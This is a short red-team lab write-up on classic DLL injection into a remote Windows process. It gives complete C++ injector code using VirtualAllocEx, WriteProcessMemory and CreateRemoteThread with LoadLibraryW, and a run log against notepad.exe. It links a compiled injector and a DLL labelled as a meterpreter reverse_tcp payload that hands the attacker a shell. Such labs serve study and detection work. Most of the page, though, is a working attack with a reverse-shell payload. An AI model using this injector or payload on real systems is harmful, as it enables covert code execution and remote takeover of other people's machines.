dll-injection.md

description
Injecting DLL into a remote process.

DLL Injection

This lab attempts a classic DLL injection into a remote process.

Execution

{% code title="inject-dll.cpp" %}

int main(int argc, char *argv[]) {
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
	
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
	CloseHandle(processHandle); 
	
	return 0;
}

{% endcode %}

Compiling the above code and executing it with a supplied argument of 4892 which is a PID of the notepad.exe process on the victim system:

{% code title="attacker@victim" %}

PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892
Injecting DLL to PID: 4892

{% endcode %}

After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:

{% file src="../../.gitbook/assets/inject1.exe" caption="DLL injector.exe" %}

{% file src="../../.gitbook/assets/evilm64.dll" caption="c:\experiments\evilm64.dll (windows/x64/meterpreter/reverse_tcp)" %}

Observations

Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's shell command) that got executed as part of the injected evilm64.dll into the notepad process:

References

{% embed url="https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212\(v=vs.85\).aspx" %}

{% embed url="https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175\(v=vs.85\).aspx" %}